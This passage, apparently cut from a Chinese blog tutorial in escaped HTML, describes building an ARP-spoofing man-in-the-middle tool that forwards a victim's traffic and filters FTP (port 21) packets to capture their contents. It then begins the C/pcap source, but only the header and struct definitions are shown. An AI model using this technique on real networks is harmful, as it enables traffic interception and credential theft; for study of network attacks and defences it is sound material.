style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:10.5000pt;font-family:&#039;Times New Roman&#039;;&quot;&gt;&lt;a target=&quot;_blank&quot; href=&quot;http:\/\/www.weizn.net\/content\/uploadfile\/201401\/134ce63057f068a219a0df338fb0b72320140124162537.jpg&quot; id=&quot;ematt:161&quot;&gt;&lt;img src=&quot;http:\/\/www.weizn.net\/content\/uploadfile\/201401\/thum-134ce63057f068a219a0df338fb0b72320140124162537.jpg&quot; alt=&quot;\u70b9\u51fb\u67e5\u770b\u539f\u56fe&quot; border=&quot;0&quot; height=&quot;115&quot; width=&quot;476&quot; \/&gt;&lt;\/a&gt;&lt;br \/&gt;\n&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:12.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;\u8fd9\u91cc\u7528\u4e00\u4e2a\u6b7b\u5faa\u73af\u4e0d\u95f4\u65ad\u7684\u6355\u83b7\u6570\u636e\u5305\uff0c\u5c06\u6355\u83b7\u7684\u6570\u636e\u5305\u4f20\u9012\u5230\u4e00\u4e2a\u65b0\u521b\u5efa\u7684\u7ebf\u7a0b\u4e2d\u53bb\u5904\u7406\uff0c\u56e0\u4e3a\u7f13\u51b2\u533a\u4e2d\u7684\u6570\u636e\u5305\u7a0d\u7eb5\u5373\u901d\uff0c\u82e5\u7b49\u6211\u4eec\u5206\u6790\u5b8c\u4e00\u4e2a\u6355\u83b7\u7684\u6570\u636e\u5305\u540e\u518d\u6355\u83b7\u53e6\u4e00\u4e2a\uff0c\u6709\u53ef\u80fd\u4f1a\u9519\u8fc7\u4e00\u4e9b\u6570\u636e\u5305\u3002&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;text-indent:24.0000pt;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:12.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;&quot;&gt;\u63a5\u4e0b\u6765\u6211\u4eec\u6765\u770b\u770b\u5982\u4f55\u5c06\u6b3a\u9a97\u8fc7\u6765\u7684\u6570\u636e\u5305\u8f6c\u53d1\u51fa\u53bb\uff0c\u5e76\u4e14\u83b7\u53d6\u5176\u4e2d\u7684\u5185\u5bb9\uff1a&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:12.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;&quot;&gt;&lt;a target=&quot;_blank&quot; href=&quot;http:\/\/www.weizn.net\/content\/uploadfile\/201401\/648b9906a614a4bb30c20591243c65ec20140124162539.jpg&quot; id=&quot;ematt:162&quot;&gt;&lt;img src=&quot;http:\/\/www.weizn.net\/content\/uploadfile\/201401\/thum-648b9906a614a4bb30c20591243c65ec20140124162539.jpg&quot; alt=&quot;\u70b9\u51fb\u67e5\u770b\u539f\u56fe&quot; border=&quot;0&quot; height=&quot;140&quot; width=&quot;538&quot; \/&gt;&lt;\/a&gt;&lt;br \/&gt;\n&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;text-indent:21.0000pt;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:10.5000pt;font-family:&#039;\u5b8b\u4f53&#039;;&quot;&gt;&nbsp;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:12.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;\u5982\u56fe\uff0c\u5f53\u7a0b\u5e8f\u6355\u83b7\u5230\u4e00\u4e2a\u6570\u636e\u5305\u65f6\uff0c\u5148\u8981\u68c0\u67e5\u4ee5\u592a\u7f51\u5934\u4e2d\u76ee\u7684&lt;span style=&quot;font-family:&#039;Times New Roman&#039;;&quot;&gt;MAC&lt;\/span&gt;&lt;span style=&quot;font-family:\u5b8b\u4f53;&quot;&gt;\u5730\u5740\u662f\u5426\u662f\u672c\u673a\u5730\u5740\uff0c\u5e76\u4e14\u6e90\u5730\u5740\u662f\u5426\u662f\u88ab\u6b3a\u9a97\u7684\u76ee\u6807\u4e3b\u673a\uff0c\u82e5\u4e24\u9879\u90fd\u6210\u7acb\uff0c\u90a3\u4e48\u5c31\u8868\u660e\u8fd9\u4e2a\u6570\u636e\u5305\u662f\u88ab\u6b3a\u9a97\u8fc7\u6765\u7684\u3002\u90a3\u4e48\u6211\u4eec\u81ea\u7136\u5c31\u8981\u4fee\u6539\u4ee5\u592a\u7f51\u5934\u4e2d\u7684\u76ee\u7684&lt;\/span&gt;&lt;span style=&quot;font-family:&#039;Times New Roman&#039;;&quot;&gt;MAC&lt;\/span&gt;&lt;span style=&quot;font-family:\u5b8b\u4f53;&quot;&gt;\uff08\u6bd4\u5982\u4fee\u6539\u6210\u7f51\u5173\u5730\u5740\uff09\uff0c\u7136\u540e\u5c06\u6b64\u6570\u636e\u5305\u8f6c\u53d1\u51fa\u53bb\uff0c\u63a5\u4e0b\u6765\u68c0\u67e5\u5e27\u7c7b\u578b\uff0c\u82e5\u503c\u4e3a&lt;\/span&gt;&lt;span style=&quot;font-family:&#039;Times New Roman&#039;;&quot;&gt;0x0800&lt;\/span&gt;&lt;span style=&quot;font-family:\u5b8b\u4f53;&quot;&gt;\u8bf4\u660e\u6b64\u6570\u636e\u5305\u5305\u542b\u7684\u9ad8\u5c42\u534f\u8bae\u662f&lt;\/span&gt;&lt;span style=&quot;font-family:&#039;Times New Roman&#039;;&quot;&gt;IP&lt;\/span&gt;&lt;span style=&quot;font-family:\u5b8b\u4f53;&quot;&gt;\uff0c\u90a3\u4e48\u6211\u4eec\u81ea\u7136\u8981\u7528&lt;\/span&gt;&lt;span style=&quot;font-family:&#039;Times New Roman&#039;;&quot;&gt;IP&lt;\/span&gt;&lt;span style=&quot;font-family:\u5b8b\u4f53;&quot;&gt;\u5934\u7ed3\u6784\u6765\u89e3\u6790\u9ad8\u5c42\u534f\u8bae\u6570\u636e\uff0c\u7136\u540e\u518d\u68c0\u6d4b\u4e00\u4e0b&lt;\/span&gt;&lt;span style=&quot;font-family:&#039;Times New Roman&#039;;&quot;&gt;IP&lt;\/span&gt;&lt;span style=&quot;font-family:\u5b8b\u4f53;&quot;&gt;\u5934\u4e2d\u5305\u542b\u7684\u4e0a\u5c42\u534f\u8bae\u662f\u4e0d\u662f&lt;\/span&gt;&lt;span style=&quot;font-family:&#039;Times New Roman&#039;;&quot;&gt;TCP&lt;\/span&gt;&lt;span style=&quot;font-family:\u5b8b\u4f53;&quot;&gt;\uff0c\u82e5\u662f\u5219\u7528&lt;\/span&gt;&lt;span style=&quot;font-family:&#039;Times New Roman&#039;;&quot;&gt;TCP&lt;\/span&gt;&lt;span style=&quot;font-family:\u5b8b\u4f53;&quot;&gt;\u5934\u89e3\u6790\u6570\u636e\u5305\u4e2d\u5305\u542b\u7684&lt;\/span&gt;&lt;span style=&quot;font-family:&#039;Times New Roman&#039;;&quot;&gt;TCP&lt;\/span&gt;&lt;span style=&quot;font-family:\u5b8b\u4f53;&quot;&gt;\u4fe1\u606f\uff0c\u82e5\u53d1\u73b0&lt;\/span&gt;&lt;span style=&quot;font-family:&#039;Times New Roman&#039;;&quot;&gt;TCP&lt;\/span&gt;&lt;span style=&quot;font-family:\u5b8b\u4f53;&quot;&gt;\u8fde\u63a5\u4e2d\u7684\u76ee\u7684\u7aef\u53e3\u662f&lt;\/span&gt;&lt;span style=&quot;font-family:&#039;Times New Roman&#039;;&quot;&gt;21&lt;\/span&gt;&lt;span style=&quot;font-family:\u5b8b\u4f53;&quot;&gt;\uff0c\u5219\u8868\u660e\u53ef\u80fd\u662f&lt;\/span&gt;&lt;span style=&quot;font-family:&#039;Times New Roman&#039;;&quot;&gt;FTP&lt;\/span&gt;&lt;span style=&quot;font-family:\u5b8b\u4f53;&quot;&gt;\u670d\u52a1\u5668\uff0c\u90a3\u4e48\u6211\u4eec\u5c31\u5bf9\u6b64\u6570\u636e\u5305\u4e2d\u7684\u5185\u5bb9\u8fdb\u884c\u7b5b\u9009\uff0c\u8c03\u7528\u4e86&lt;\/span&gt;&lt;span style=&quot;font-family:&#039;Times New Roman&#039;;&quot;&gt;FTP_Sniffer&lt;\/span&gt;&lt;span style=&quot;font-family:\u5b8b\u4f53;&quot;&gt;\u51fd\u6570\uff0c\u5426\u5219\u5c06\u6570\u636e\u5305\u4e22\u5f03\u3002&lt;\/span&gt;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;text-indent:24.0000pt;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:12.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;&quot;&gt;\u6700\u540e\u7ed9\u51fa\u5b8c\u6574\u7684\u7a0b\u5e8f\u4ee3\u7801\uff0c\u7531\u4e8e\u524d\u9762\u90a3\u4e2a&lt;span style=&quot;font-family:&#039;Times New Roman&#039;;&quot;&gt;ARP&lt;\/span&gt;&lt;span style=&quot;font-family:\u5b8b\u4f53;&quot;&gt;\u65ad\u7f51\u653b\u51fb\u6211\u4eec\u662f\u4f2a\u9020&lt;\/span&gt;&lt;span style=&quot;font-family:&#039;Times New Roman&#039;;&quot;&gt;ARP&lt;\/span&gt;&lt;span style=&quot;font-family:\u5b8b\u4f53;&quot;&gt;\u8bf7\u6c42\u5305\u5b9e\u73b0\u7684\uff0c\u90a3\u4e48\u8fd9\u4e2a\u6211\u4eec\u5c31\u7528&lt;\/span&gt;&lt;span style=&quot;font-family:&#039;Times New Roman&#039;;&quot;&gt;ARP&lt;\/span&gt;&lt;span style=&quot;font-family:\u5b8b\u4f53;&quot;&gt;\u5e94\u7b54\u5305\u5b9e\u73b0\u6b3a\u9a97\u5427\uff0c\u53ea\u4e0d\u8fc7\u662f\u4fee\u6539\u4e86&lt;\/span&gt;&lt;span style=&quot;font-family:&#039;Times New Roman&#039;;&quot;&gt;ARP&lt;\/span&gt;&lt;span style=&quot;font-family:\u5b8b\u4f53;&quot;&gt;\u5305\u4e2d\u7684\u4e09\u5904\u5b57\u6bb5\u503c\u800c\u5df2\uff1a&lt;\/span&gt;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;#include&nbsp;&lt;stdio.h&gt;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;#include&nbsp;&lt;stdlib.h&gt;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;#include&nbsp;&lt;string.h&gt;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;#include&nbsp;&lt;windows.h&gt;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;#include&nbsp;&lt;pcap.h&gt;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;#include&nbsp;&lt;conio.h&gt;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;#include&nbsp;&lt;winsock2.h&gt;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;#include&nbsp;&lt;iphlpapi.h&gt;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;#pragma&nbsp;comment(lib,&#8221;ws2_32.lib&#8221;)&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;#pragma&nbsp;comment(lib,&#8221;Iphlpapi.lib&#8221;)&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;#pragma&nbsp;comment(lib,&#8221;pcap.lib&#8221;)&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;typedef&nbsp;struct&nbsp;DLC_Header&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;{&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;unsigned&nbsp;char&nbsp;DesMAC[6];&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/\/\u4ee5\u592a\u7f51\u76ee\u7684\u5730\u5740&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;unsigned&nbsp;char&nbsp;SrcMAC[6];&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/\/\u4ee5\u592a\u7f51\u6e90\u5730\u5740&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;unsigned&nbsp;short&nbsp;EtherType;&nbsp;&nbsp;&nbsp;&nbsp;\/\/\u5e27\u7c7b\u578b&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;}&nbsp;DLCHEADER;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;typedef&nbsp;struct&nbsp;ARP_Frame&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;{&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;unsigned&nbsp;short&nbsp;HW_Type;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/\/\u786c\u4ef6\u7c7b\u578b&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;unsigned&nbsp;short&nbsp;Prot_Type;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/\/\u4e0a\u5c42\u534f\u8bae\u7c7b\u578b&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;unsigned&nbsp;char&nbsp;HW_Addr_Len;&nbsp;&nbsp;&nbsp;&nbsp;\/\/MAC\u5730\u5740\u957f\u5ea6&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;unsigned&nbsp;char&nbsp;Prot_Addr_Len;&nbsp;&nbsp;\/\/IP\u5730\u5740\u957f\u5ea6&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;unsigned&nbsp;short&nbsp;Opcode;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/\/\u64cd\u4f5c\u7801,01\u8868\u793a\u8bf7\u6c42\uff0c02\u8868\u793a\u5e94\u7b54&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;unsigned&nbsp;char&nbsp;Send_HW_Addr[6];&nbsp;\/\/\u53d1\u9001\u7aefMAC\u5730\u5740&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;unsigned&nbsp;char&nbsp;Send_Prot_Addr[4];&nbsp;&nbsp;&nbsp;\/\/\u53d1\u9001\u7aefIP\u5730\u5740&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;unsigned&nbsp;char&nbsp;Targ_HW_Addr[6];&nbsp;\/\/\u76ee\u6807MAC\u5730\u5740&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;unsigned&nbsp;char&nbsp;Targ_Prot_Addr[4];&nbsp;&nbsp;&nbsp;\/\/\u76ee\u6807IP\u5730\u5740&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;}&nbsp;ARPFRAME;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;typedef&nbsp;struct&nbsp;ipheader&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;{&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;unsigned&nbsp;char&nbsp;ip_hl:4;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/*header&nbsp;length(\u62a5\u5934\u957f\u5ea6\uff09*\/&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;unsigned&nbsp;char&nbsp;ip_v:4;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/*version(\u7248\u672c)*\/&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;unsigned&nbsp;char&nbsp;ip_tos;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/*type&nbsp;os&nbsp;service\u670d\u52a1\u7c7b\u578b*\/&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:9.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;background:#d9d9d9;mso-shading:#d9d9d9;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;unsigned&nbsp;short&nbsp;int&nbsp;ip_len;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/*total&nbsp;length&nbsp;(\u603b\u957f\u5ea6)*\/&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span 